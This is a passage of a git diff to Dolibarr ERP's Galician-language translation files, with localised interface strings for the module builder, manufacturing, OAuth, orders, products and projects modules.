Profesor...). Xeraranse o ficheiro de clase CRUD, pero tamén o ficheiro API, páxinas para listar/engadir/editar/eliminar obxectos e ficheiros SQL. +EnterNameOfObjectDesc=Introduza o nome do obxecto a crear sen espazos. Use maiúsculas para separar palabras (Por exemplo: O meu obxecto, Alumno, Profesor...). Xerarase o ficheiro de clase CRUD, as páxinas para listar/engadir/editar/eliminar o obxecto e os ficheiros SQL. EnterNameOfDictionaryDesc=Introduce o nome do dicionario que queres crear sen espazos. Use maiúsculas para separar palabras (Por exemplo: MeuDico...). Xerarase o ficheiro de clase, pero tamén o ficheiro SQL. ModuleBuilderDesc2=Ruta onde se xeran/editan os módulos (primeiro directorio para módulos externos definidos en %s): %s ModuleBuilderDesc3=Atopáronse módulos xerados/editables: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Detéctase un módulo como "editable" cando o ficheiro %s
      ? Isto cambiará o código na clase PHP pero tamén eliminará a columna da definición de obxecto da táboa. NotNull=Non NULO NotNullDesc=1=Establecer a base de datos como NON NULL, 0=Permitir valores nulos, -1=Permitir valores nulos forzando o valor a NULL se está baleiro ('' ou 0) @@ -81,15 +86,16 @@ IsAMeasure=É unha medida DirScanned=Directorio analizado NoTrigger=Non hai trigger NoWidget=Non hai widget -GoToApiExplorer=Explorador de API +ApiExplorer=Explorador de API ListOfMenusEntries=Listaxe de entradas de menú ListOfDictionariesEntries=Listaxe de entradas de dicionarios ListOfPermissionsDefined=Listaxe de permisos definidos SeeExamples=Ver exemplos aquí -EnabledDesc=Condición para ter activo este campo (Exemplos: 1 ou $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=¿É visible o campo? (Exemplos: 0= Nunca visible, 1= Visible na lista e crear/actualizar/ver formularios, 2= Visible só na lista, 3= Visible só na forma de crear/actualizar/ver (non lista), 4= Visible na lista e actualizar/ver formulario só (non crear), 5= Visible só no formulario de visualización final da lista (non crear, non actualizar).

      Usar un valor negativo significa que o campo non se amosa por defecto na lista, pero pódese seleccionar para ver).

      Pode ser unha expresión, por exemplo:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])?0:1
      ($ usuario-> dereitos->vacacións->definir_ vacacións?1:0) -DisplayOnPdfDesc=Amosar este campo en documentos PDF compatibles, pode xestionar a posición co campo "Posición".
      Actualmente, os modelos PDF compatibles coñecidos son: eratosteno (pedimento), espadón (envío), sponge (facturas), cian (orzamentos), cornas (pedimento a provedor)

      Paara o documento:
      0= non amosado
      1=amosar
      2= amosar só se non está baleiro

      Para as liñas do documento
      0= non amosado
      1=amosar nunha columna
      3=amosar na liña da columna de descrición despois da descrición
      4= amosar na columna de descrición só despois da descrición se non está baleira -DisplayOnPdf=Amosar en PDF +EnabledDesc=Condición para ter este campo activo.

      Exemplos:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=O campo é visible? (Exemplos: 0=Nunca visible, 1=Visible na listace e crear/actualizar/ver formularios, 2=Visible só na lista, 3=Visible só ao crear/actualizar/ver formulario (non na listaxe), 4=Visible na listaxe e actualizar/ver formulario só (non crear), 5=Visible só no formulario de visualización final da listaxe (non crear, non actualizar).

      Usar un valor negativo significa que o campo non se amosa por defecto na listaxe pero pode seleccionarse para ver). +ItCanBeAnExpression=Pode ser unha expresión. Exemplo:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Amosa este campo en documentos PDF compatibles, pode xestionar a posición co campo "Posición".
      Para documentos :
      0 = non visualizar
      1 = visualizar
      2 = visualizar se non está baleiro

      Para liñas de documentoss :
      0 = non visualizar
      1 = visuliazar na columna
      3 = visualizar na columna de descrición de liña despois da descrición
      4 = visualizar na columna de descrición despois da descrición só se non está baleira +DisplayOnPdf=En PDF IsAMeasureDesc=¿Pódese acumular o valor do campo para obter un total na lista? (Exemplos: 1 ou 0) SearchAllDesc=¿O campo utilízase para facer unha procura desde a ferramenta de busca rápida? (Exemplos: 1 ou 0) SpecDefDesc=Introduza aquí toda a documentación que desexa proporcionar co seu módulo que non estexa xa definida por outras pestanas. Pode usar .md ou mellor, a rica sintaxe .asciidoc. @@ -130,27 +136,40 @@ UseSpecificEditorURL = Usar unha URL de editor específico UseSpecificFamily = Usar unha familia específica UseSpecificAuthor = Usar un autor específico UseSpecificVersion = Usar unha versión inicial específica -IncludeRefGeneration=A referencia do obxecto debe xerarse automaticamente mediante regras de numeración personalizadas +IncludeRefGeneration=A referencia deste obxecto debe xerarse automaticamente mediante regras de numeración personalizadas IncludeRefGenerationHelp=Marque isto se quere incluír código para xestionar a xeración da referencia automaticamente mediante regras de numeración personalizadas -IncludeDocGeneration=Quero xerar algúns documentos a partir de modelos para o obxecto +IncludeDocGeneration=Quero que a función xere algúns documentos (PDF, ODT) a partir de modelos para este obxecto IncludeDocGenerationHelp=Se marca isto, xerarase algún código para engadir unha caixa "Xerar documento" no rexistro. -ShowOnCombobox=Mostrar o valor en combobox +ShowOnCombobox=Amosa o valor en caixas combinadas KeyForTooltip=Chave para a información sobre ferramentas CSSClass=CSS para editar/crear formulario CSSViewClass=CSS para formulario de lectura CSSListClass=CSS para a listaxe NotEditable=Non editable ForeignKey=Chave estranxeira -TypeOfFieldsHelp=Tipo de campos:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' significa que engadimos un botón + despois do combo para crear o rexistro
      'filter' é unha condición sql, exemplo: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Se hai que garantir que o valor deste campo exista noutra táboa. Introduza aquí un valor que coincida coa sintaxe: tablename.parentfieldtocheck +TypeOfFieldsHelp=Exemplo:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' significa que engadimos un botón + despois do combo para crear o rexistro
      'filtro' é unha condición sql, exemplo: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Este é o tipo de campo/atributo. AsciiToHtmlConverter=Conversor de ascii a HTML AsciiToPdfConverter=Conversor de ascii a PDF TableNotEmptyDropCanceled=A táboa non está baleira. Cancelouse a eliminación. ModuleBuilderNotAllowed=O creador de módulos está dispoñible pero non permitido ao seu usuario. ImportExportProfiles=Importar e exportar perfís -ValidateModBuilderDesc=Estableza isto en 1 se quere que o método $this->validateField() do obxecto sexa chamado para validar o contido do campo durante a inserción ou a actualización. Establece 0 se non se precisa validación. +ValidateModBuilderDesc=Estableza isto en 1 se quere que o método $this->validateField() do obxecto sexa chamado para validar o contido do campo durante a inserción ou actualización. Estableza 0 se non se precisa validación. WarningDatabaseIsNotUpdated=Aviso: a base de datos non se actualiza automaticamente, debe eliminar as táboas e desactivar-habilitar o módulo para que as táboas se creen de novo LinkToParentMenu=Menú principal (fk_xxxxmenu) ListOfTabsEntries=Lista de entradas de pestanas TabsDefDesc=Defina aquí as pestanas que proporciona o seu módulo TabsDefDescTooltip=As pestanas proporcionadas polo seu módulo/aplicación defínense na matriz $this->tabs no ficheiro descritor do módulo. Pode editar este ficheiro manualmente ou usar o editor incorporado. BadValueForType=Valor incorrecto para o tipo %s +DefinePropertiesFromExistingTable=Definir propiedades a partir dunha táboa existente +DefinePropertiesFromExistingTableDesc=Se xa existe unha táboa na base de datos (para que o obxecto se cree), pode usala para definir as propiedades do obxecto. +DefinePropertiesFromExistingTableDesc2=Mantéñase baleiro se a táboa aínda non existe. O xerador de código usará diferentes tipos de campos para construír un exemplo de táboa que pode editar máis tarde. +GeneratePermissions=Quero engadir dereitos para este obxecto +GeneratePermissionsHelp=xera dereitos predeterminados para este obxecto +PermissionDeletedSuccesfuly=O permiso foi eliminado correctamente +PermissionUpdatedSuccesfuly=O permiso actualizouse correctamente +PermissionAddedSuccesfuly=O permiso engadiuse correctamente +MenuDeletedSuccessfuly=O menú eliminouse correctamente +MenuAddedSuccessfuly=O menú engadiuse correctamente +MenuUpdatedSuccessfuly=O menú actualizouse correctamente diff --git a/htdocs/langs/gl_ES/mrp.lang b/htdocs/langs/gl_ES/mrp.lang index 6f813d54b3b..a838cf327e6 100644 --- a/htdocs/langs/gl_ES/mrp.lang +++ b/htdocs/langs/gl_ES/mrp.lang @@ -11,8 +11,8 @@ Bom=Listaxes de material BillOfMaterials=Listaxe de materiais BillOfMaterialsLines=Factura de Liñas de Material BOMsSetup=Configuración do módulo BOM -ListOfBOMs=Listaxe de facturas de materiais - BOM -ListOfManufacturingOrders=Listaxe de pedimentos de fabricación +ListOfBOMs=Listas de materiais - BOM +ListOfManufacturingOrders=Pedimentos de fabricación NewBOM=Nova listaxe de materiais ProductBOMHelp=Produto para crear (ou desmontar) con esta Lista de Materiais
      Nota: Os produtos coa propiedade 'Natureza do produto' = 'Materia prima' non están visibles nesta listaxe. BOMsNumberingModules=Modelos de numeración BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Está certo de querer clonar a listaxe de materiais ConfirmCloneMo=Está certo de querer clonar este pedimento de facturación %s? ManufacturingEfficiency=Eficiencia de fabricación ConsumptionEfficiency=Eficienci de consumo +Consumption=Consumo ValueOfMeansLoss=O valor de 0,95 significa unha media de 5%% de perda durante a fabricación ou a desmontaxe ValueOfMeansLossForProductProduced=O valor de 0,95 significa unha media do 5 %% da perda do produto producido DeleteBillOfMaterials=Eliminar listaxe de materiais @@ -82,6 +83,7 @@ ProductsToProduce=Produtos para fabricar UnitCost=Custo unitario TotalCost=Custo total BOMTotalCost=O custo para producir este BOM está en función do custo de cada cantidade e produto a consumir (use o prezo de custo se se define, se non o prezo medio ponderado se se define, se non o mellor prezo de compra) +BOMTotalCostService=Se o módulo "Estación de traballo" está activado e unha estación de traballo está definida por defecto na liña, entón o cálculo é "cantidade (convertida en horas) x estación de traballo ahr", se non "cantidade (convertida en horas) x prezo de custo do servizo" GoOnTabProductionToProduceFirst=Primeiro debe iniciar a produción para pechar un pedimento de fabricación (ver a lapela '%s'). Pero pode cancelalo. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Non se pode usar un produto composto nunha BOM nin nunha MO Workstation=Estación de traballo @@ -100,6 +102,7 @@ NbOperatorsRequired=Número de operadores precisos THMOperatorEstimated=THM estimada operador THMMachineEstimated=THM estimada máquina WorkstationType=Tipo de estación de traballo +DefaultWorkstation=Estación de traballo predeterminada Human=Humano Machine=Máquina HumanMachine=Humano/Máquina @@ -112,3 +115,10 @@ MOAndLines=Pedimentos e liñas de fabricación MoChildGenerate=Xerar fillo Om ParentMo=OM Pai MOChild=OM Fillo +BomCantAddChildBom=A nomenclatura %s xa está presente na árbore que conduce á nomenclatura %s +BOMNetNeeds = Necesidades netas de BOM +BOMProductsList=Produtos de BOM +BOMServicesList=Servizos de BOM +Manufacturing=Fabricación +Disassemble=Desmontar +ProducedBy=Producido por diff --git a/htdocs/langs/gl_ES/oauth.lang b/htdocs/langs/gl_ES/oauth.lang index 5fbff98dd7f..22af3c0b6db 100644 --- a/htdocs/langs/gl_ES/oauth.lang +++ b/htdocs/langs/gl_ES/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=Foi xerado e gardado na base de datos local un token NewTokenStored=Token recibido e gardado ToCheckDeleteTokenOnProvider=Faga clic aquí para comprobar/eliminar a autorización gardada polo fornecedor de OAuth %s TokenDeleted=Token eliminado +GetAccess=Prema aquí para obter un token RequestAccess=Prema aquí para solicitar/renovar o acceso e recibir un novo token -DeleteAccess=Faga clic aquí para eliminar o token +DeleteAccess=Prema aquí para eliminar o token UseTheFollowingUrlAsRedirectURI=Utilice o seguinte URL como redirección URI cando cree as súas credenciais co seu provedor de OAuth: ListOfSupportedOauthProviders=Engada os seus provedores de tokens OAuth2. A continuación, vaia á páxina de administración do seu provedor de OAuth para crear/obter un ID de OAuth e un Segredo e gárdeos aquí. Unha vez feito isto, active a outra pestana para xerar o seu token. OAuthSetupForLogin=Páxina para xestionar (xerar/eliminar) tokens OAuth @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=Oauth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Vaia a esta páxina para crear ou obter o seu ID e Segredo de OAuth OAUTH_STRIPE_TEST_NAME=Test OAuth Stripe OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=ID de OAuth +OAUTH_ID=ID de cliente de OAuth OAUTH_SECRET=Segredo de OAuth +OAUTH_TENANT=Inquilino de OAuth OAuthProviderAdded=Engadiuse o provedor de OAuth AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Xa existe unha entrada de OAuth e etiqueta para este provedor +URLOfServiceForAuthorization=URL proporcionada polo servizo OAuth para a autenticación +Scopes=Permisos (ámbitos) +ScopeUndefined=Permisos (Ámbitos) indefinidos (consulte a lapela anterior) diff --git a/htdocs/langs/gl_ES/orders.lang b/htdocs/langs/gl_ES/orders.lang index f507393d4fc..ed2a1a9f74d 100644 --- a/htdocs/langs/gl_ES/orders.lang +++ b/htdocs/langs/gl_ES/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Estatísticas de pedimentos a provedor NumberOfOrdersByMonth=Número de pedimentos por mes AmountOfOrdersByMonthHT=Importe total de pedimentos por mes (sen IVE) ListOfOrders=Listaxe de pedimentos +ListOrderLigne=Liñas de pedimentos +productobuy=Só produtos para mercar +productonly=Só produtos +disablelinefree=Sen liñas libres CloseOrder=Pechar pedimento ConfirmCloseOrder=¿Está certo de querer clasificar este pedimento como enviado? Una vez enviado un pedimento, solo podrá facturarse ConfirmDeleteOrder=¿Está certo de querer eliminar este pedimento? @@ -131,17 +135,18 @@ SupplierOrderClassifiedBilled=Pedimento a provedor %s facturado OtherOrders=Outros pedimentos SupplierOrderValidatedAndApproved=A orde do provedor está validada e aprobada: %s SupplierOrderValidated=A orde do provedor está validada: %s +OrderShowDetail=Amosar detalles do pedimento ##### Types de contacts ##### -TypeContact_commande_internal_SALESREPFOLL=Responsable seguemento do pedimento cliente +TypeContact_commande_internal_SALESREPFOLL=Responsable seguimento do pedimento cliente TypeContact_commande_internal_SHIPPING=Responsable envío pedimento cliente TypeContact_commande_external_BILLING=Contacto cliente facturación pedimento TypeContact_commande_external_SHIPPING=Contacto cliente entrega pedimento -TypeContact_commande_external_CUSTOMER=Contacto cliente seguemento pedimento +TypeContact_commande_external_CUSTOMER=Contacto cliente seguimento pedimento TypeContact_order_supplier_internal_SALESREPFOLL=Comercial seguimento pedimento de compra TypeContact_order_supplier_internal_SHIPPING=Responsable recepción pedimento a provedor TypeContact_order_supplier_external_BILLING=Contacto provedor factura -TypeContact_order_supplier_external_SHIPPING=Contacto seguemento envío aprovedor -TypeContact_order_supplier_external_CUSTOMER=Contacto seguemento pedimento a provedor +TypeContact_order_supplier_external_SHIPPING=Contacto seguimento envío aprovedor +TypeContact_order_supplier_external_CUSTOMER=Contacto seguimento pedimento a provedor Error_COMMANDE_SUPPLIER_ADDON_NotDefined=Constante COMMANDE_SUPPLIER_ADDON no definida Error_COMMANDE_ADDON_NotDefined=Constante COMMANDE_ADDON non definida Error_OrderNotChecked=Non foron seleccionados pedimentos a facturar @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Aprobado StatusSupplierOrderRefused=Rexeitado StatusSupplierOrderReceivedPartially=Recibido parcialmente StatusSupplierOrderReceivedAll=Todos os produtos recibidos +NeedAtLeastOneInvoice = Ten que haber polo menos unha factura +LineAlreadyDispatched = A liña de pedimento xa está recibida. diff --git a/htdocs/langs/gl_ES/other.lang b/htdocs/langs/gl_ES/other.lang index 64bba2a89bd..2fc4e810288 100644 --- a/htdocs/langs/gl_ES/other.lang +++ b/htdocs/langs/gl_ES/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Pedimento a provedor aprobado Notify_ORDER_SUPPLIER_REFUSE=Pedimento a provedor rexeitado Notify_PROPAL_VALIDATE=Validación orzamento cliente Notify_PROPAL_CLOSE_SIGNED=Orzamento cliente pechado como asinado +Notify_PROPAL_CLOSE_SIGNED_WEB=Orzamento a cliente asinado e pechado na páxina do portal Notify_PROPAL_CLOSE_REFUSED=Orzamento cliente pechado como rexeitado +Notify_PROPAL_CLOSE_REFUSED_WEB=Orzamento a cliente rexeitado e pechado na páxina do portal Notify_PROPAL_SENTBYMAIL=Envío orzamento cliente por correo electrónico Notify_WITHDRAW_TRANSMIT=Transmisión domiciliación Notify_WITHDRAW_CREDIT=Abono domiciliación @@ -181,6 +183,7 @@ SizeUnitfoot=pe SizeUnitpoint=punto BugTracker=Incidencias SendNewPasswordDesc=Este formulario permítelle solicitar un novo contrasinal. Enviarase ao seu enderezo de correo electrónico.
      O cambio será efectivo unha vez prema na ligazón de confirmación do correo electrónico.
      Comprobe a súa caixa de entrada. +EnterNewPasswordHere=Introduza aquí o seu novo contrasinal BackToLoginPage=Voltar á páxina de inicio de sesión AuthenticationDoesNotAllowSendNewPassword=O modo de autenticación é % s .
      Neste modo, Dolibarr non pode saber nin cambiar o seu contrasinal.
      Póñase en contacto co administrador do sistema se quere cambiar o seu contrasinal. EnableGDLibraryDesc=Instalar ou habilitar a biblioteca GD na súa instalación de PHP para usar esta opción. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Factura %s validada EMailTextInvoicePayed=A factura %s foi pagada. EMailTextProposalValidated=O orzamento %s do seu interese foi validado. EMailTextProposalClosedSigned=O orzamento %s foi pechado e asinado +EMailTextProposalClosedSignedWeb=O orzamento %s foi asinado e pechado na páxina do portal. +EMailTextProposalClosedRefused=O orzamento %s foi rexeitado e pechado. +EMailTextProposalClosedRefusedWeb=O orzamento %s foi rexeitado e pechado na páxina do portal. EMailTextOrderValidated=Pedimento %s validado. EMailTextOrderApproved=Pedimento %s aprobado EMailTextOrderValidatedBy=Pedimento %s rexistrado por %s. @@ -311,9 +317,9 @@ ExternalSiteURL=URL do sitio externo do contido iframe HTML ExternalSiteModuleNotComplete=O módulo do sitio externo non foi configurado correctamente. ExampleMyMenuEntry=O meu menú de entrada -# FTP +# ftp FTPClientSetup=Configuración do módulo cliente FTP ou SFTP -NewFTPClient=Nova configuración de conexión FTP/SFTP +NewFTPClient=Nova configuración de conexión FTP/SFTP FTPArea=Área FTP/SFTP FTPAreaDesc=Esta pantalla amosa unha vista dun servidor FTP/SFTP SetupOfFTPClientModuleNotComplete=A configuración do módulo cliente FTP ou SFTP parece estar imcompleta @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Non foi posible eliminar o directorio %s (Comprobe o FTPPassiveMode=Modo pasivo ChooseAFTPEntryIntoMenu=Escolla un sitio FTP/SFTM no menú ... FailedToGetFile=Non foi posible acadar os ficheiros %s +ErrorFTPNodisconnect=Produciuse un erro ao desconectar o servidor FTP/SFTP +FileWasUpload=Cargouse o ficheiro %s +FTPFailedToUploadFile=Produciuse un erro ao cargar o ficheiro %s . +AddFolder=Crear cartafol +FileWasCreateFolder=Creouse o cartafol %s +FTPFailedToCreateFolder=Produciuse un erro ao crear o cartafol %s . diff --git a/htdocs/langs/gl_ES/partnership.lang b/htdocs/langs/gl_ES/partnership.lang index b02e7ae8c86..41323b68dce 100644 --- a/htdocs/langs/gl_ES/partnership.lang +++ b/htdocs/langs/gl_ES/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Xestión de Asociacións PartnershipDescription=Módulo de xestión de Asociacións PartnershipDescriptionLong= Módulo de xestión de Asociacións Partnership=Asociación +Partnerships=Asociacións AddPartnership=Engade asociado CancelPartnershipForExpiredMembers=Asociación: cancela a asociación de membros con subscricións caducadas PartnershipCheckBacklink=Asociación: comprobe a ligazón de retroceso referente @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Asociación: comprobe a ligazón de retroceso referente # Menu # NewPartnership=Nova Asociación +NewPartnershipbyWeb=A súa solicitude de asociación engadiuse correctamente. Podemos contactar con vostede en breve... ListOfPartnerships=Listaxe de Asociacións # diff --git a/htdocs/langs/gl_ES/productbatch.lang b/htdocs/langs/gl_ES/productbatch.lang index bedfed40b5c..7782f8e7e60 100644 --- a/htdocs/langs/gl_ES/productbatch.lang +++ b/htdocs/langs/gl_ES/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Lote/Serie %s printEatby=Caducidade: %s printSellby=Vendido por: %s printQty=Cant.: %d +printPlannedWarehouse=Almacén: %s AddDispatchBatchLine=Engada unha liña para despacho por caducidade WhenProductBatchModuleOnOptionAreForced=Cando o módulo Lote/Serie está activado, a diminución automática de stoc está forzada a "Diminuír as existencias reais na validación do envío" e o modo de aumento automático é forzado a "Aumentar as existencias reais no envío manual nos almacéns" e non pode ser editado. Pode definir outras opcións como queira. ProductDoesNotUseBatchSerial=Este produto non usa números de lote/serie @@ -43,3 +44,4 @@ HideLots=Agochar lotes OutOfOrder=Fora de servizo InWorkingOrder=En funcionamento ToReplace=Substituir +CantMoveNonExistantSerial=Erro. Solicita un movemento nun rexistro para unha serie que xa non existe. Pode levar o mesmo número de serie no mesmo almacén varias veces no mesmo envío ou que foi usado por outro envío. Elimine este envío e prepare outro. diff --git a/htdocs/langs/gl_ES/products.lang b/htdocs/langs/gl_ES/products.lang index 7dd2ca5f92f..bc8be6ab487 100644 --- a/htdocs/langs/gl_ES/products.lang +++ b/htdocs/langs/gl_ES/products.lang @@ -179,7 +179,7 @@ Nature=Natureza do produto (materia prima/manufacturado) NatureOfProductShort=Natureza do produto NatureOfProductDesc=Materia prima ou produto manufacturado ShortLabel=Etiqueta curta -Unit=Unidade +Unit=Ud p=u. set=conxunto se=conxunto @@ -345,7 +345,7 @@ PossibleValues=Valores posibles GoOnMenuToCreateVairants=Vaia ao menú %s - %s para preparar variables de atributos (como cores, tamaño, ...) UseProductFournDesc=Engade unha función para definir a descrición do produto definida polos vendedores (para cada referencia do vendedor) ademais da descrición para os clientes ProductSupplierDescription=Descrición do produto do provedor -UseProductSupplierPackaging=Utilice o envase nos prezos do provedor (recalcule as cantidades segundo o prezo do empaquetado do provedor ao engadir/actualizar a liña nos documentos do provedor) +UseProductSupplierPackaging=Use embalaxe para prezos redondeados a múltiplos para prezos de compra (recalcule as cantidades segundo os múltiplos establecidos nos prezos de compra ao engadir/actualizar a liña nos documentos dun provedor) PackagingForThisProduct=Empaquetado PackagingForThisProductDesc=Mercará automaticamente un múltiplo desta cantidade. QtyRecalculatedWithPackaging=A cantidade da liña recalculouse segundo o empaquetado do provedor @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Acción só dispoñible na variante do produ ProductsPricePerCustomer=Prezos de produto por cliente ProductSupplierExtraFields=Atributos adicionais (Prezos Provedor) DeleteLinkedProduct=Eliminar o produto fillo ligado á combinación -AmountUsedToUpdateWAP=Cantidade a usar para actualizar o Prezo Medio Ponderado +AmountUsedToUpdateWAP=Importe unitario a utilizar para actualizar o Prezo Medio Ponderado PMPValue=Prezo medio ponderado PMPValueShort=PMP mandatoryperiod=Períodos obrigatorios @@ -416,6 +416,7 @@ ProductsMergeSuccess=Os produtos fusionáronse ErrorsProductsMerge=Erros na combinación de produtos SwitchOnSaleStatus=Activa o estado de venda SwitchOnPurchaseStatus=Activa o estado de compra +UpdatePrice=Aumentar/diminuír o prezo ao cliente StockMouvementExtraFields= Campos extra (movemento de stock) InventoryExtraFields= Campos adicionais (inventario) ScanOrTypeOrCopyPasteYourBarCodes=Escanee ou escriba ou copia/pega os seus códigos de barras @@ -427,3 +428,4 @@ RealValuation=Valor real ConfirmEditExtrafield = Seleccione o campo extra que quere modificar ConfirmEditExtrafieldQuestion = Está certo de querer modificar este campo extra? ModifyValueExtrafields = Modificar o valor dun campo extra +OrProductsWithCategories=Ou produtos con etiquetas/categorías diff --git a/htdocs/langs/gl_ES/projects.lang b/htdocs/langs/gl_ES/projects.lang index bd007acdfd2..a42a8d47184 100644 --- a/htdocs/langs/gl_ES/projects.lang +++ b/htdocs/langs/gl_ES/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Esta vista amosa todos os proxectos e tarefas nos que vostede te TasksDesc=Esta vista amosa todos os proxectos e tarefas (os seus permisos de usuario permítenlle ter unha visión completa). AllTaskVisibleButEditIfYouAreAssigned=Todas as tarefas deste proxecto son visibles, pero só pode indicar tempos nas tarefas que teña asignadas. Asígnese tarefas se desexa indicar tempos nelas. OnlyYourTaskAreVisible=Só son visibles as tarefas asignadas a vostede. Se precisa introducir tempo nunha tarefa e se a tarefa non é visible aquí, entón debe asignar a tarefa a si mesmo. +ImportDatasetProjects=Proxectos ou oportunidades ImportDatasetTasks=Tarefas de proxectos ProjectCategories=Etiquetas/categorías de proxectos NewProject=Novo proxecto @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Importe oportunidades de proxectos abertos OpportunitiesStatusForProjects=Importe oportunidades de proxectos por estado ShowProject=Ver proxecto ShowTask=Ver tarefa +SetThirdParty=Establecer terceiros SetProject=Definir proxecto +OutOfProject=Fóra de proxecto NoProject=Ningún proxecto definido ou propiedade de NbOfProjects=Nº de proxectos NbOfTasks=Nº de tarefas @@ -122,7 +125,8 @@ ValidateProject=Validar proxecto ConfirmValidateProject=¿Está certo de querer validar este proxecto? CloseAProject=Pechar proxecto ConfirmCloseAProject=¿Está certo de querer pechar este proxecto? -AlsoCloseAProject=Pechar tamén o proxecto (manter aberto se aínda precisa continuar coas tarefas de produción nel) +AlsoCloseAProject=Pechar tamén o proxecto +AlsoCloseAProjectTooltip=Mantér aberto se aínda precisa seguir nel as tarefas de produción ReOpenAProject=Reabrir proxecto ConfirmReOpenAProject=Está certo de querer reabrir este proxecto? ProjectContact=Contactos do proxecto @@ -165,7 +169,7 @@ OpportunityProbability=Probabilidade de oportunidade OpportunityProbabilityShort=Prob. Opor. OpportunityAmount=Importe Oport. OpportunityAmountShort=Importe oportunidade -OpportunityWeightedAmount=Importe ponderado oportunidade +OpportunityWeightedAmount=Cantidade de oportunidade, ponderada pola probabilidade OpportunityWeightedAmountShort=Oport. importe promedio OpportunityAmountAverageShort=Importe promedio oportunidade OpportunityAmountWeigthedShort=Importe ponderado oportunidade @@ -238,7 +242,7 @@ OppStatusPENDING=Pendente OppStatusWON=Gañado OppStatusLOST=Perdido Budget=Orzamento -AllowToLinkFromOtherCompany=Permitir ligar o proxecto doutra empresa

      Valores admitidos:
      - Manter baleiro: pode ligar calquera proxecto da empresa (predeterminado)
      - "todo": pode ligar calquera proxecto, incluso proxectos doutras empresas
      - Unha lista de identificación de terceiros separada por comas: pode ligar todos os proxectos deses terceiros definidos (Exemplo: 123,4795,53)
      +AllowToLinkFromOtherCompany=Permitir ligar un elemento cun proxecto doutra empresa

      Valores admitidos:
      - Manter baleiro: pode ligar elementos do con calquera proxecto do mesmo terceiro (por defecto)
      "todo";- Pode ligar elementos con calquera proxecto, incluso proxectros doutros terceiros
      Unha listaxe de ids de terceiros separados por comas: pode ligar elementos con calquera proxecto destes terceiros (Exemplo: 123,4795,53)
      LatestProjects=Últimos %s proxectos LatestModifiedProjects=Últimos %s proxectos modificados OtherFilteredTasks=Outras tarefas filtradas @@ -259,7 +263,7 @@ TimeSpentInvoiced=Tenpo empregado facturado TimeSpentForIntervention=Tempo empregado TimeSpentForInvoice=Tempo empregado OneLinePerUser=Unha liña por usuario -ServiceToUseOnLines=Servizo a usar en liñas +ServiceToUseOnLines=Servizo para usar nas liñas por defecto InvoiceGeneratedFromTimeSpent=Factura %s foi xerada co tempo empregado no proxecto InterventionGeneratedFromTimeSpent=A intervención %s xerouse a partir do tempo adicado ao proxecto ProjectBillTimeDescription=Comprobe se introduce unha folla de tempo nas tarefas do proxecto e planea xerar factura(s) a partir da folla de tempo para facturar ao cliente do proxecto (non comprobe se pensa crear unha factura que non estexa baseada nas follas de traballo introducidas). Nota: para xerar factura, vaia a pestana "Tempo empregado" do proxecto e selecciona as liñas a incluír. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Beneficio está calculado usando AddPersonToTask=Engadir tamén ás tarefas UsageOrganizeEvent=Uso: organización de eventos PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Clasificar o proxecto como pechado cando se completen todas as súas tarefas (100 %% progreso) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: os proxectos existentes con todas as tarefas en progreso do 100 %% non se verán afectados: terá que pechalos manualmente. Esta opción só afecta a proxectos abertos. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: os proxectos existentes con todas as tarefas xa configuradas cun progreso do 100%% non se verán afectados: terá que pechalos manualmente. Esta opción só afecta aos proxectos abertos. SelectLinesOfTimeSpentToInvoice=Seleccione a liñas de tempo utilizadas que non se facturan e, de seguido, empregue unha acción masiva de "Xerar factura" para facturalas ProjectTasksWithoutTimeSpent=Tarefas do proxecto sen tempo empregado FormForNewLeadDesc=Grazas por encher o seguinte formulario para contactar connosco. Tamén pode enviarnos un correo electrónico directamente a %s @@ -294,3 +298,4 @@ EnablePublicLeadForm=Activa o formulario público de contacto NewLeadbyWeb=A súa mensaxe ou solicitude foi gardada. Atenderemos ou contactaremos con vostede en breve. NewLeadForm=Novo formulario de contacto LeadFromPublicForm=Liderar en liña desde un formulario público +ExportAccountingReportButtonLabel=Obter informe diff --git a/htdocs/langs/gl_ES/propal.lang b/htdocs/langs/gl_ES/propal.lang index 2004d59f20a..b70f834c3c0 100644 --- a/htdocs/langs/gl_ES/propal.lang +++ b/htdocs/langs/gl_ES/propal.lang @@ -55,7 +55,7 @@ CopyPropalFrom=Crear orzamento por copia dun existente CreateEmptyPropal=Crear proposta comercial baleira ou dende a listaxe de 